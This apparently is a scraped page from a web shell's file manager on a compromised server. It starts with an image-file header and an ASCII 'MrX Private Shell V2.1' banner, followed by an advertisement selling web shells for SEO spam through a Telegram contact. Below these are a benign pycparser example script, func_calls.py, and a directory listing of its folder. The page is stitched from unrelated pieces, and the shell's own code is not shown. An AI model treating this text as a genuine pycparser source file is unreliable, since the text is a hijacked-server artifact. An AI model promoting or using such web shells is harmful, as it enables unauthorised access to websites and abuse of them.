����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#-----------------------------------------------------------------
# pycparser: func_calls.py
#
# Using pycparser for printing out all the calls of some function
# in a C file.
#
# Eli Bendersky [https://eli.thegreenplace.net/]
# License: BSD
#-----------------------------------------------------------------
from __future__ import print_function
import sys
from pycparser import c_parser, c_ast, parse_file
# A visitor with some state information (the funcname it's looking for)
class FuncCallVisitor(c_ast.NodeVisitor):
def __init__(self, funcname):
self.funcname = funcname
def visit_FuncCall(self, node):
if node.name.name == self.funcname:
print('%s called at %s' % (self.funcname, node.name.coord))
# Visit args in case they contain more func calls.
if node.args:
self.visit(node.args)
def show_func_calls(filename, funcname):
ast = parse_file(filename, use_cpp=True)
v = FuncCallVisitor(funcname)
v.visit(ast)
if __name__ == "__main__":
if len(sys.argv) > 2:
filename = sys.argv[1]
func = sys.argv[2]
else:
filename = 'examples/c_files/hash.c'
func = 'malloc'
show_func_calls(filename, func)
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| c_files | Folder | 0755 |
|
|
| README.rst | File | 393 B | 0644 |
|
| c-to-c.py | File | 1.43 KB | 0644 |
|
| c_json.py | File | 6.13 KB | 0644 |
|
| cdecl.py | File | 6.16 KB | 0644 |
|
| dump_ast.py | File | 799 B | 0644 |
|
| explore_ast.py | File | 5.25 KB | 0644 |
|
| func_calls.py | File | 1.2 KB | 0644 |
|
| func_defs.py | File | 1.19 KB | 0644 |
|
| rewrite_ast.py | File | 612 B | 0644 |
|
| serialize_ast.py | File | 907 B | 0644 |
|
| using_cpp_libc.py | File | 746 B | 0644 |
|
| using_gcc_E_libc.py | File | 804 B | 0644 |
|